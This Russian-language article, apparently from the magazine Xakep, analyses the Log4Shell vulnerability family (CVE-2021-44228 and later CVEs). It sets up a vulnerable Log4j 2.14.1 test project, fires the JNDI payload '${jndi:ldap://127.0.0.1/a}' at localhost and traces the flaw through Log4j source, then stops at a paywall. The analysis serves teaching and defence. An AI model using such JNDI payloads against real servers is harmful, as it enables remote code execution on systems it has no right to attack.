Еще недав­но про средс­тво логиро­вания Log4j помимо спе­циалис­тов мало кто слы­шал. Най­ден­ная в этой биб­лиоте­ке уяз­вимость сде­лала ее цен­тром вни­мания на пос­ледние месяцы. Мы в «Хакере» уже об­сужда­ли ее импакт и рас­ска­зыва­ли о том, как раз­ные ком­пании сра­жают­ся с напастью. В этой статье мы с тобой под­робно раз­берем­ся, отку­да взя­лась эта ошиб­ка и как она работа­ет, а так­же какие успе­ли появить­ся экс­пло­иты.

За­голов­ки новос­тей пес­трят ужас­ными сооб­щени­ями о том, что проб­лема охва­тыва­ет полови­ну компь­ютер­ного мира. А взло­мать через нее яко­бы мож­но всё — от сер­вера Minecraft тво­его соседа до круп­ных кор­пораций вро­де Apple.

На GitHub есть нес­коль­ко репози­тори­ев, нап­ример, Log4jAttackSurface или log4shell со спис­ками уяз­вимого ПО (с блэк­дже­ком и пру­фами, разуме­ется!). Даже в «Википе­дии» уже есть статья о Log4Shell!

Да­вай раз­бирать­ся так ли стра­шен черт, как его малю­ют, с чего все началось и почему баг получил такую огласку.

 

Как нашли уязвимость

Нач­нем с неболь­шой пре­амбу­лы. Баг был обна­ружен экспер­том Чен Чжа­оцзюнь (Zhaojun Chen) из коман­ды Alibaba Cloud Security. Детали уяз­вимос­ти были отправ­лены в Apache Foundation 24 нояб­ря 2021 года. В пуб­личный дос­туп они попали чуть поз­же — 9 декаб­ря. В твит­тере завиру­сил­ся пост, в котором была пара кар­тинок, изоб­ража­ющих резуль­тат успешной экс­плу­ата­ции — запущен­ный каль­кулятор. На пер­вом скри­не был затерт пей­лоад, но вто­рая кар­тинка и кусок кода из пер­вой намека­ли, где и что нуж­но искать. Помимо это­го в пос­те была ссыл­ка на pull-рек­вест с фик­сом, пря­мо ска­жем не слиш­ком удач­ным! Сей­час пост в твит­тере уже уда­лен и пос­мотреть мож­но толь­ко через Internet Archive.

Пост в твиттере об уязвимости в Log4j
Пост в твит­тере об уяз­вимос­ти в Log4j

В этот же день на GitHub по­явил­ся PoC с деталя­ми экс­плу­ата­ции. Ког­да уяз­вимость обза­велась собс­твен­ным иден­тифика­тором CVE-2021-44228, ре­пози­торий пере­име­нова­ли, а затем и вов­се уда­лили. Как видишь, уви­деть начало исто­рии сей­час мож­но толь­ко бла­года­ря архи­вам.

К сло­ву, баг получил мак­сималь­ный балл (10) по стан­дарту CVSS из‑за его прос­той экс­плу­ата­ции, не тре­бующей никаких прав, и серь­езности пос­ледс­твий для ата­куемой сис­темы.

Итак, экс­пло­ит получил рас­простра­нение и начал ухо­дить в мас­сы, люди ста­ли тес­тировать пей­лоады пов­семес­тно и обна­ружи­вать уяз­вимые про­дук­ты. Давай в деталях пос­мотрим, в чем при­чина уяз­вимос­ти, какие были обхо­ды и пат­чи и в каких про­дук­тах.

Найденные уязвимости

CVE-2021-44228 — зло­умыш­ленник, который может кон­тро­лиро­вать сооб­щения жур­нала или парамет­ры сооб­щений жур­нала, может выпол­нить про­изволь­ный код, заг­ружен­ный с сер­веров LDAP через JNDI. Проб­лема зат­рагива­ет вер­сии Apache Log4j2 2.0-beta9 до 2.15.0 (за исклю­чени­ем исправ­лений безопас­ности 2.12.2, 2.12.3 и 2.3.1) уяз­вимы к уда­лен­ному выпол­нению про­изволь­ного кода через JNDI.

CVE-2021-45046 — зло­умыш­ленник, кон­тро­лиру­ющий через Thread Context Map (MDC) динами­чес­кие дан­ные в сооб­щени­ях жур­налов событий, может соз­дать пей­лоад с исполь­зовани­ем JNDILookup, который при­ведет к утеч­ке информа­ции и уда­лен­ному выпол­нению кода в некото­рых кон­фигура­циях Log4j и локаль­ному выпол­нению кода во всех кон­фигура­циях. Проб­лема при­сутс­тву­ет из‑за не пол­ностью исправ­ленной уяз­вимос­ти CVE-2021-44228 в Log4j 2.15.0.

CVE-2021-45105 — из‑за проб­лемы некон­тро­лиру­емой рекур­сии, зло­умыш­ленник спе­циаль­но сфор­мирован­ным сооб­щени­ем жур­нала событий может выз­вать отказ в обслу­жива­нии. Проб­лема зат­рагива­ет вер­сии Log4j2 начиная с 2.0-alpha1 и до 2.16.0 (за исклю­чени­ем 2.12.3 and 2.3.1).

CVE-2021-44832 — Зло­умыш­ленник, име­ющий дос­туп к изме­нению нас­тро­ек логиро­вания, может соз­дать такую кон­фигура­цию, через которую воз­можно уда­лен­ное выпол­нение кода. Для это­го исполь­зует­ся JDBC Appender с источни­ком дан­ных, ссы­лающим­ся на JNDI URI. Проб­лема зат­рагива­ет все вер­сии Log4j2 начиная с 2.0-beta7 и до 2.17.0.

 

Стенд

Те­атр, как извес­тно, начина­ется с вешал­ки, а тес­тирова­ние уяз­вимос­ти — со стен­да В качес­тве основной сис­темы я буду исполь­зовать Windows и IntelliJ IDEA для ком­пиляции и отладки.

Cоз­даем пус­той про­ект на Java с исполь­зовани­ем gradle. Добав­ляем в зависи­мос­ти уяз­вимую вер­сию Log4j, нап­ример, 2.14.1.

build.gradle
dependencies {
implementation 'org.apache.logging.log4j:log4j-api:2.14.1'
implementation 'org.apache.logging.log4j:log4j-core:2.14.1'
}

По­том соз­даем класс где аргу­мент, который мы переда­дим прог­рамме, будет логиро­вать­ся.

src/main/java/logger/Test.java
package logger;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Test {
private static final Logger logger = LogManager.getLogger(Test.class);
public static void main(String[] args) {
String msg = (args.length > 0 ? String.join(" ", args) : "");
logger.error(msg);
}
}

Те­перь ука­жем глав­ный класс, который дол­жен вызывать­ся при запус­ке.

build.gradle
plugins {
id 'java'
id 'application'
}
...
mainClassName = 'logger.Test'

Все готово, мож­но запус­кать. Парамет­ры в лог­гер переда­ем в качес­тве аргу­мен­тов с помощью фла­га --args:

gradlew run --args='hello world'
Запуск программы для тестирования уязвимости log4shell
За­пуск прог­раммы для тес­тирова­ния уяз­вимос­ти log4shell

Те­перь нас­тало вре­мя про­тес­тировать работу уяз­вимос­ти, для это­го возь­мем прос­той пей­лоад ${jndi:ldap://127.0.0.1/a} и переда­дим его в качес­тве парамет­ра. Толь­ко не забудь сна­чала пос­тавить на прос­лушку 389 порт.

gradlew run --args='${jndi:ldap://127.0.0.1/a}'
Тестирование уязвимости log4shell
Тес­тирова­ние уяз­вимос­ти log4shell

Кон­нект при­ходит, а это зна­чит, что уяз­вимость успешно про­экс­плу­ати­рова­на. Это­го пока дос­таточ­но для даль­нейше­го пре­пари­рова­ния.

 

Детали уязвимости

Поп­робу­ем разоб­рать­ся, почему эта загадоч­ная конс­трук­ция вооб­ще выпол­няет­ся.

По сути, конс­трук­ции вида ${} исполь­зуют­ся в динами­чес­ких стро­ках, которые пре­обра­зуют­ся раз­ными реали­заци­ями клас­са StringSubstitutor. Да не осу­дят меня Java сень­оры, я буду счи­тать, что это прос­то перемен­ные.

Те­перь ска­чаем ис­ходни­ки нашей вер­сии биб­лиоте­ки Log4j. Инте­ресу­ющая нас обра­бот­ка логиру­емо­го события начина­ется в методе format клас­са MessagePatternConverter.

org/apache/logging/log4j/core/pattern/MessagePatternConverter.java
public final class MessagePatternConverter extends LogEventPatternConverter {
...
public void format(final LogEvent event, final StringBuilder toAppendTo) {
final Message msg = event.getMessage();
...
if (config != null && !noLookups) {
for (int i = offset; i < workingBuilder.length() - 1; i++) {
if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') {
final String value = workingBuilder.substring(offset, workingBuilder.length());
workingBuilder.setLength(offset);
workingBuilder.append(config.getStrSubstitutor().replace(event, value));
}
}
}

Этот цикл про­веря­ет наличие конс­трук­ции ${ в сооб­щении. Если она при­сутс­тву­ет, управле­ние переда­ется клас­су StrSubstitutor для даль­нейшей обра­бот­ки.

Проверка наличия конструкции <span class="katex-error" title="ParseError: KaTeX parse error: Expected '}', got 'EOF' at end of input: …ия конструкции " style="color:#cc0000">{ в тексте логируемого сообщения библиотеки log4j' title='Проверка наличия конструкции </span>{ в тексте логируемого сообщения библиотеки log4j
Про­вер­ка наличия конс­трук­ции ${ в тек­сте логиру­емо­го сооб­щения биб­лиоте­ки log4j
org/apache/logging/log4j/core/lookup/StrSubstitutor.java
public class StrSubstitutor implements ConfigurationAware {
...
public static final char DEFAULT_ESCAPE = '$';
...
public static final StrMatcher DEFAULT_PREFIX = StrMatcher.stringMatcher(DEFAULT_ESCAPE + "{");
...
public static final StrMatcher DEFAULT_SUFFIX = StrMatcher.stringMatcher("}");

Здесь мож­но видеть ини­циали­зацию дефол­тно­го пре­фик­са (${) и суф­фикса (}). Далее по коду видим метод substitute.

org/apache/logging/log4j/core/lookup/StrSubstitutor.java
public StrMatcher getVariablePrefixMatcher() {
return prefixMatcher;
}
...
public StrMatcher getVariableSuffixMatcher() {
return suffixMatcher;
}
org/apache/logging/log4j/core/lookup/StrSubstitutor.java
private int substitute(final LogEvent event, final StringBuilder buf,
final int offset, final int length,
List<String> priorVariables) {
final StrMatcher prefixMatcher = getVariablePrefixMatcher();
final StrMatcher suffixMatcher = getVariableSuffixMatcher();

Он сно­ва выпол­няет поиск таких конс­трук­ций (${ололо}) по содер­жимому логиру­емо­го события, толь­ко в этот раз про­веря­ет наличие суф­фикса }, что­бы опре­делить дей­стви­тель­но ли нуж­на даль­нейшая обра­бот­ка.

org/apache/logging/log4j/core/lookup/StrSubstitutor.java
while (pos < bufEnd) {
final int startMatchLen = prefixMatcher.isMatch(chars, pos, offset, bufEnd);
if (startMatchLen == 0) {
pos++;
} else // found variable start marker

Ме­тод prefixMatcher.isMatch, как вид­но из наз­вания, находит начало конс­трук­ции, сим­волы ${. Про­вер­ка выпол­няет­ся методом isMatch.

Продолжение доступно только участникам

Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

Вариант 2. Открой один материал

Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.


  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии